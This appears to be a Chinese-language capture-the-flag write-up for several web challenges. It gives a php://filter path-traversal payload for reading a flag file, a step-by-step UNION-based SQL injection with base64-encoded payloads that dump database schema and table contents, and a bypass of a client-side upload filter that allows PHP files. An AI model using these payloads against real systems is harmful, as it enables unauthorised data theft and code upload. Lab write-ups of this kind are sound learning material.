第一题
第二题
如果文件路径是以.
开头,或者路径中出现..
的次数超过2次,则拿不到flag
构造文件路径:php://filter/resource=../flag
,最终得到flag: flag{Bypass_File_Path_Check}
第三题
可以看到题目url为
而且题目是easy sqli
可以猜到是sql注入.
1. 通过order by进行尝试,获取表的属性个数
-
构造
1 order by 3:id=MSBvcmRlciBieSAz
结果:no result -
构造
1 order by 2:id=MSBvcmRlciBieSAy
因此可以判断用户表有两个属性列。
2. 获取所有的数据库名称
-
构造:
1 union select 1, database();
-
其中,
1 union select 1, database();
经过base64编码后为:MSB1bmlvbiBzZWxlY3QgMSwgZGF0YWJhc2UoKTs=
,此为id输入。 -
从第1.可知,用户表有两个属性,database()返回的是一列。
-
3. 已知数据库名称,获取数据库所有表名称
-
构造:
1 union select 1, group_concat(table_name) from information_schema.tables where table_schema='websec';
-
用base64编码为:
MSB1bmlvbiBzZWxlY3QgMSwgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9J3dlYnNlYyc7
,用此id通过burpsuite输入。
4. 获取表flag
中的字段名
-
构造:
1 union select 1, group_concat(column_name) from information_schema.columns where table_schema='websec' and table_name='flag';
-
base64编码为:
MSB1bmlvbiBzZWxlY3QgMSwgZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYT0nd2Vic2VjJyBhbmQgdGFibGVfbmFtZT0nZmxhZyc7
,此为burpsuite中id的输入。
5. 获取表flag
中的数据
-
构造:
1 union select 1, group_concat(value) from flag;
-
base64编码为:
MSB1bmlvbiBzZWxlY3QgMSwgZ3JvdXBfY29uY2F0KHZhbHVlKSBmcm9tIGZsYWc7
此为id的输入。
第四题
1.随便上传一个文件,发现有提示
2. 查看网页代码,发现有控制文件格式的代码
3. 在控制台修改函数cehckFileSizeAndType
function checkFileSizeAndType(maxSize,allowType,fileId) { //默认大小 if(!maxSize){ maxSize=10*1024*1024; } //默认类型 if(!allowType){ allowType=new Array('jpg','png'); } // 自己的代码 allowType = new Array('php', 'jpg', 'png'); //js通过id获取上传的文件对象 var file = document.getElementById(fileId); var types =allowType; var fileInfo = file.files[0]; if(!fileInfo){ alert("请选择文件!"); return false; } var fileName = fileInfo.name; //获取文件后缀名 var file_typename = fileName.substring( fileName.lastIndexOf('.') + 1, fileName.length); //定义标志是否可以提交上传 var isUpload = true; //定义一个错误参数:1代表大小超出 2代表类型不支持 var errNum =0; if (fileInfo) { if (fileInfo.size > maxSize) { isUpload = false; errNum=1; } else { for (var i in types) { if (types[i] == file_typename) { isUpload = true; return isUpload; } else { isUpload = false; errNum=2; } } } } //对错误的类型进行对应的提示 if (!isUpload) { if(errNum==1){ var size = maxSize/1024/1024; alert("上传的文件必须为小于"+size+"M的图片!"); }else if(errNum==2){ alert("上传的"+file_typename+"文件类型不支持!只支持"+types.toString()+"格式"); }else{ alert("没有选择文件"); } file.value=""; return isUpload; } }
使得其支持php文件,再点击上传,网页提示。
-
求助同学,他们发现了文件index.php.swp,将上传文件通过buipsuite修改后缀为PHP
-
将khw.php用md5加密,得到flag。